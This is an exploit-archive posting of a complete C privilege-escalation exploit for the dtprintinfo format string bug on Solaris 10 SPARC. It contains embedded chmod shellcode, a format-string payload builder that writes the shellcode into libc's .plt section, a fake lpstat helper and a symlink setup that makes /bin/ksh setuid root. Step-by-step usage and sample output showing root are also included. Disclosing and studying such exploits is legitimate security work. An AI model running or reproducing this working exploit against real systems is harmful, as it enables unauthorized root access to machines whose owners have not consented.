solaris 10 113 (sparc) dtprintinfo local privilege escalation (2)
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# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) # Date: 2021-02-01 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.oracle.com/solaris/solaris10/ # Version: Solaris 10 # Tested on: Solaris 10 1/13 SPARC /* * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * "You still haven't given up on me?" -- Bruce Wayne * "Never!" -- Alfred Pennyworth * * I would like to thank ~A. for his incredible research work spanning decades, * an endless source of inspiration for me. * * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its * development took me some time. It's been almost two weeks, and I came * close to giving up a couple of times. Here's a summary of the main * roadblocks and complications I ran into while porting my dtprintinfo * format string exploit to SPARC: * * - Half word writes and similar techniques that need to print a large amount * of chars are problematic, because we have both a format string bug and a * stack-based buffer overflow, and we risk running out of stack space! We * might be able to prevent this by increasing the size of the padding buffer, * (buf2) but your mileage may vary. * * - I therefore opted for a more portable single-byte write, but SPARC is a * RISC architecture and as such it's not happy with memory operations on * misaligned addresses... So I had to figure out a possibly novel technique * to prevent the dreaded Bus Error. It involves the %hhn format string, check * it out! * * - Once I had my write-what primitive figured out, I needed to pick a suitable * memory location to patch... and I almost ran out of options. Function * activation records turned out to be cumbersome and unreliable (see my PoC * raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary * start with a null byte, and the usual OS function pointers that were * popular targets 15 years ago are not present in modern Solaris 10 releases * anymore. Finally, I noticed that the libc also contains .plt jump codes * that get executed upon function calling. Since they don't start with a null * byte, I decided to target them. * * - Instead of meddling with jump codes, to keep things simpler I decided to * craft the shellcode directly in the .plt section of libc by exploiting the * format string bug. This technique proved to be very effective, but * empirical tests showed that (for unknown reasons) the shellcode size was * limited to 36 bytes. It looks like there's a limit on the number of args, * to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes * are just enough to escalate privileges. * * After I plugged a small custom shellcode into my exploit, it worked like a * charm. Simple, isn't it?;) * * To get the libc base, use pmap on the dtprintinfo process, e.g.: * $ pmap 4190 | grep libc.so.1 | grep r-x * FE800000 1224K r-x-- /lib/libc.so.1 * * To grab the offset to strlen in .plt, you can use objdump as follows: * $ objdump -R /usr/lib/libc.so.1 | grep strlen * 0014369c R_SPARC_JMP_SLOT strlen * * This bug was likely fixed during the general cleanup of CDE code done by * Oracle in response to my recently reported vulnerabilities. However, I can't * confirm this because I have no access to their patches:/ * * See also: * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez) * raptor_dtprintcheckdir_intel2.c * raptor_dtprintcheckdir_sparc.c (just a proof of concept) * * Usage: * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall * [on your xserver: disable the access control] * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * Using SI_PLATFORM : SUNW,SPARC-Enterprise (5.10) * Using libc/.plt/strlen : 0xfe94369c * * Don't worry if you get a SIGILL, just run /bin/ksh anyway! * * lpstat called with -v * lpstat called with -v * lpstat called with -d * [on your xserver: double click on the fake "fnord" printer] * Illegal Instruction * $ ls -l /bin/ksh * -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh * $ ksh * # id * uid=100(user) gid=1(other) euid=0(root) egid=2(bin) * # * * Tested on: * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise * [previous Solaris versions are also likely vulnerable (and easier to exploit)] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE" #define INFO2 "Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define BUFSIZE 3000 // size of evil env var #define BUFSIZE2 10000 // size of padding buf #define STACKPOPSEQ "%.8x" // stackpop sequence #define STACKPOPS 383 // number of stackpops /* default retloc is .plt/strlen in libc */ #define LIBCBASE 0xfe800000 // base address of libc #define STRLEN 0x0014369c // .plt/strlen offset /* calculate numeric arguments for write string */ #define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) { \ N1 = (B4 - BASE) % 0x100; \ N2 = (B2 - BASE - N1) % 0x100; \ N3 = (B1 - BASE - N1 - N2) % 0x100; \ N4 = (B3 - BASE - N1 - N2 - N3) % 0x100; \ BASE += N1 + N2 + N3 + N4; \ } char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */ /* chmod("./me", 037777777777) */ "\x92\x20\x20\x01" /* sub %g0, 1, %o1 */ "\x20\xbf\xff\xff" /* bn,a <sc - 4> */ "\x20\xbf\xff\xff" /* bn,a <sc> */ "\x7f\xff\xff\xff" /* call <sc + 4> */ "\x90\x03\xe0\x14" /* add %o7, 0x14, %o0 */ "\xc0\x22\x20\x04" /* clr [ %o0 + 4 ] */ "\x82\x10\x20\x0f" /* mov 0xf, %g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "./me"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], *p = buf, buf2[BUFSIZE2]; char platform[256], release[256], display[256]; int retloc = LIBCBASE + STRLEN; int i, stackpops = STACKPOPS; unsigned base, n[strlen(sc)]; /* must be unsigned */ /* lpstat code to add a fake printer */ if (!strcmp(argv[0], "lpstat")) { /* check command line */ if (argc != 2) exit(1); /* print the expected output and exit */ if(!strcmp(argv[1], "-v")) { fprintf(stderr, "lpstat called with -v\n"); printf("device for fnord: /dev/null\n"); } else { fprintf(stderr, "lpstat called with -d\n"); printf("system default destination: fnord\n"); } exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if (argc < 2) { fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); if (argc > 2) retloc = (int)strtoul(argv[2], (char **)NULL, 0); /* evil env var: name + shellcode + padding */ bzero(buf, sizeof(buf)); memcpy(buf, "REQ_DIR=", strlen("REQ_DIR=")); p += strlen("REQ_DIR="); /* padding buffer to avoid stack overflow */ memset(buf2, 'B', sizeof(buf2)); buf2[sizeof(buf2) - 1] = 0x0; /* fill the envp, keeping padding */ add_env(buf2); add_env(buf); add_env(display); add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */ add_env("PATH=.:/usr/bin"); add_env("HOME=/tmp"); add_env(NULL); /* format string: retloc */ for (i = retloc; i - retloc < strlen(sc); i += 4) { check_zero(i, "ret location"); *((void **)p) = (void *)(i); p += 4; /* 0x000000ff */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i); p += 4; /* 0xff000000 */ memset(p, 'A', 4); p += 4; /* dummy */ *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */ memset(p, 'A', 4); p += 4; /* dummy */ } /* format string: stackpop sequence */ base = p - buf - strlen("REQ_DIR="); for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8) memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ)); /* calculate numeric arguments */ for (i = 0; i < strlen(sc); i += 4) CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base); /* check for potentially dangerous numeric arguments below 10 */ for (i = 0; i < strlen(sc); i++) n[i] += (n[i] < 10) ? (0x100) : (0); /* format string: write string */ for (i = 0; i < strlen(sc); i += 4) p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]); /* setup the directory structure and the symlink to /bin/ksh */ unlink("/tmp/just/chmod/me"); rmdir("/tmp/just/chmod"); rmdir("/tmp/just"); mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); symlink("/bin/ksh", "/tmp/just/chmod/me"); /* create a symlink for the fake lpstat */ unlink("lpstat"); symlink(argv[0], "lpstat"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc); fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n"); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(1); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "error: %s contains a 0x00!\n", pattern); exit(1); } }
Solaris 10 113 (sparc) dtprintinfo local privilege escalation (2) Vulnerability / Exploit Source : Solaris 10 113 (sparc) dtprintinfo local privilege escalation (2)